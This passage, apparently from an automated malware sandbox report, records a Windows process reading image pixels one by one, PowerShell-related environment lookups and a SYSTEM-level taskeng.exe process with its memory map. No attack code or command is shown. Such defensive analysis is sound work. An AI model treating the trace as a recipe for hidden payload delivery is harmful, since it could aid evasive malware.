returned 0x0 [0124.132] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=219, y=0, color=0x1c6cc480) returned 0x0 [0124.132] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.133] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.133] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.133] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.133] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=220, y=0, color=0x1c6cc480) returned 0x0 [0124.133] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.133] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.133] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.133] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.133] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=221, y=0, color=0x1c6cc480) returned 0x0 [0124.133] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.133] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.133] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.133] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.133] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=222, y=0, color=0x1c6cc480) returned 0x0 [0124.134] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.134] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.134] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.134] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.134] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=223, y=0, color=0x1c6cc480) returned 0x0 [0124.134] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.134] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.134] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.134] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.134] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=224, y=0, color=0x1c6cc480) returned 0x0 [0124.134] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.135] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.135] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.135] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.135] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=225, y=0, color=0x1c6cc480) returned 0x0 [0124.135] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.135] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.135] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.136] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.136] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=226, y=0, color=0x1c6cc480) returned 0x0 [0124.136] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.136] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.136] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.136] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.136] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=227, y=0, color=0x1c6cc480) returned 0x0 [0124.136] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.136] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.136] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.137] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.137] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=228, y=0, color=0x1c6cc480) returned 0x0 [0124.137] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.137] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.137] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.137] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.137] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=229, y=0, color=0x1c6cc480) returned 0x0 [0124.137] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.137] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.137] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.137] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.137] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=230, y=0, color=0x1c6cc480) returned 0x0 [0124.138] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.138] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.138] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.138] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.138] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=231, y=0, color=0x1c6cc480) returned 0x0 [0124.138] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.138] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.138] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.138] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.138] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=232, y=0, color=0x1c6cc480) returned 0x0 [0124.138] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.138] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.138] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.139] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.139] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=233, y=0, color=0x1c6cc480) returned 0x0 [0124.139] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.139] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.139] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.139] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.139] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=234, y=0, color=0x1c6cc480) returned 0x0 [0124.139] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.139] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.139] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.140] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.140] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=235, y=0, color=0x1c6cc480) returned 0x0 [0124.140] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.140] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.140] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.140] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.140] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=236, y=0, color=0x1c6cc480) returned 0x0 [0124.140] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.140] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.140] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.140] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.140] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=237, y=0, color=0x1c6cc480) returned 0x0 [0124.140] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.141] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.141] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.141] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.141] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=238, y=0, color=0x1c6cc480) returned 0x0 [0124.141] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.141] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.141] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.141] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.141] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=239, y=0, color=0x1c6cc480) returned 0x0 [0124.141] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.141] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.141] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.141] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.142] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=240, y=0, color=0x1c6cc480) returned 0x0 [0124.142] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.142] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.142] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.142] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.142] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=241, y=0, color=0x1c6cc480) returned 0x0 [0124.142] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.142] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.142] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.142] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.142] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=242, y=0, color=0x1c6cc480) returned 0x0 [0124.142] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.143] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.143] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.143] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.143] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=243, y=0, color=0x1c6cc480) returned 0x0 [0124.143] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.143] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.143] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.143] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.143] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=244, y=0, color=0x1c6cc480) returned 0x0 [0124.143] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.143] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.144] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.144] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.144] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=245, y=0, color=0x1c6cc480) returned 0x0 [0124.144] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.144] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.144] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.144] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.144] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=246, y=0, color=0x1c6cc480) returned 0x0 [0124.144] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.144] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.144] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.144] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.144] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=247, y=0, color=0x1c6cc480) returned 0x0 [0124.145] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.145] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.145] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.145] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.145] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=248, y=0, color=0x1c6cc480) returned 0x0 [0124.145] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.145] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.145] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.145] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.145] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=249, y=0, color=0x1c6cc480) returned 0x0 [0124.145] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.146] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.360] VirtualQuery (in: lpAddress=0x1c6cbe10, lpBuffer=0x1c6cccd0, dwLength=0x30 | out: lpBuffer=0x1c6cccd0*(BaseAddress=0x1c6cb000, AllocationBase=0x1bd40000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0124.361] VirtualQuery (in: lpAddress=0x1c6cb660, lpBuffer=0x1c6cc520, dwLength=0x30 | out: lpBuffer=0x1c6cc520*(BaseAddress=0x1c6cb000, AllocationBase=0x1bd40000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0124.364] VirtualQuery (in: lpAddress=0x1c6cb660, lpBuffer=0x1c6cc520, dwLength=0x30 | out: lpBuffer=0x1c6cc520*(BaseAddress=0x1c6cb000, AllocationBase=0x1bd40000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0124.404] CoTaskMemAlloc (cb=0x104) returned 0x2e23a0 [0124.404] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2e23a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0124.404] CoTaskMemFree (pv=0x2e23a0) [0124.521] CoTaskMemAlloc (cb=0x104) returned 0x2e23a0 [0124.521] GetEnvironmentVariableW (in: lpName="comSpeC", lpBuffer=0x2e23a0, nSize=0x80 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0124.521] CoTaskMemFree (pv=0x2e23a0) [0124.521] CoTaskMemAlloc (cb=0x104) returned 0x2e23a0 [0124.521] GetEnvironmentVariableW (in: lpName="comSpeC", lpBuffer=0x2e23a0, nSize=0x80 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0124.521] CoTaskMemFree (pv=0x2e23a0) [0124.604] CoTaskMemAlloc (cb=0x104) returned 0x2e23a0 [0124.604] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2e23a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0124.604] CoTaskMemFree (pv=0x2e23a0) [0124.607] CoTaskMemAlloc (cb=0x104) returned 0x2e23a0 [0124.607] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2e23a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0124.607] CoTaskMemFree (pv=0x2e23a0) [0124.628] CoTaskMemAlloc (cb=0x104) returned 0x2e23a0 [0124.628] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2e23a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0124.628] CoTaskMemFree (pv=0x2e23a0) [0124.629] CoTaskMemAlloc (cb=0x104) returned 0x2e23a0 [0124.629] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2e23a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0124.629] CoTaskMemFree (pv=0x2e23a0) [0124.633] CoTaskMemAlloc (cb=0x104) returned 0x2e23a0 [0124.633] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2e23a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0124.633] CoTaskMemFree (pv=0x2e23a0) [0124.708] CoTaskMemAlloc (cb=0x104) returned 0x2e23a0 [0124.708] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2e23a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0124.708] CoTaskMemFree (pv=0x2e23a0) [0124.709] CoTaskMemAlloc (cb=0x104) returned 0x2e23a0 [0124.709] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2e23a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0124.709] CoTaskMemFree (pv=0x2e23a0) [0124.709] CoTaskMemAlloc (cb=0x104) returned 0x2e23a0 [0124.709] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2e23a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0124.709] CoTaskMemFree (pv=0x2e23a0) [0124.711] CoTaskMemAlloc (cb=0x104) returned 0x2e23a0 [0124.711] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2e23a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0124.711] CoTaskMemFree (pv=0x2e23a0) [0124.713] CoTaskMemAlloc (cb=0x104) returned 0x2e23a0 [0124.713] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2e23a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0124.713] CoTaskMemFree (pv=0x2e23a0) [0124.718] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3 [0124.745] CoTaskMemAlloc (cb=0x104) returned 0x2e23a0 [0124.745] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2e23a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0124.745] CoTaskMemFree (pv=0x2e23a0) [0124.749] CoTaskMemAlloc (cb=0x104) returned 0x2e23a0 [0124.749] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2e23a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0124.750] CoTaskMemFree (pv=0x2e23a0) [0124.769] CoTaskMemAlloc (cb=0x104) returned 0x2e23a0 [0124.769] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2e23a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0124.770] CoTaskMemFree (pv=0x2e23a0) [0124.783] CoTaskMemAlloc (cb=0x104) returned 0x2e23a0 [0124.783] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2e23a0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0124.783] CoTaskMemFree (pv=0x2e23a0) [0125.130] SetEvent (hEvent=0x394) returned 1 [0125.130] SetEvent (hEvent=0x388) returned 1 [0125.130] SetEvent (hEvent=0x38c) returned 1 [0125.130] SetEvent (hEvent=0x390) returned 1 [0125.137] CoUninitialize () Thread: id = 109 os_tid = 0x878 Thread: id = 110 os_tid = 0x14c Thread: id = 111 os_tid = 0x410 [0119.354] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0119.358] ResetEvent (hEvent=0x374) returned 1 Thread: id = 122 os_tid = 0x214 Thread: id = 123 os_tid = 0x28c Thread: id = 124 os_tid = 0x508 [0125.141] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0125.143] SetThreadUILanguage (LangId=0x0) returned 0x7fffff00409 [0125.145] VirtualQuery (in: lpAddress=0x1da7d980, lpBuffer=0x1da7e840, dwLength=0x30 | out: lpBuffer=0x1da7e840*(BaseAddress=0x1da7d000, AllocationBase=0x1d0f0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0125.145] VirtualQuery (in: lpAddress=0x1da7dc30, lpBuffer=0x1da7eaf0, dwLength=0x30 | out: lpBuffer=0x1da7eaf0*(BaseAddress=0x1da7d000, AllocationBase=0x1d0f0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0125.155] SetEvent (hEvent=0x3bc) returned 1 [0125.155] SetEvent (hEvent=0x4d8) returned 1 [0125.155] SetEvent (hEvent=0x3c4) returned 1 [0125.155] SetEvent (hEvent=0x3bc) returned 1 [0125.155] SetEvent (hEvent=0x4d8) returned 1 [0125.155] SetEvent (hEvent=0x478) returned 1 [0125.155] SetEvent (hEvent=0x414) returned 1 [0125.155] SetEvent (hEvent=0x418) returned 1 [0125.155] SetEvent (hEvent=0x4e4) returned 1 [0125.156] SetEvent (hEvent=0x6d8) returned 1 [0125.157] CoUninitialize () Process: id = "16" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x778a3000" os_pid = "0x60c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x36c" cmd_line = "taskeng.exe {51D6B98B-9745-492B-96F7-812B04D502A6} S-1-5-18:NT AUTHORITY\\System:Service:" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d435" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 1671 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1672 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1673 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1674 start_va = 0x50000 end_va = 0xcffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1675 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1676 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1677 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1678 start_va = 0xff2b0000 end_va = 0xff323fff entry_point = 0xff2b0000 region_type = mapped_file name = "taskeng.exe" filename = "\\Windows\\System32\\taskeng.exe" (normalized: "c:\\windows\\system32\\taskeng.exe") Region: id = 1679 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 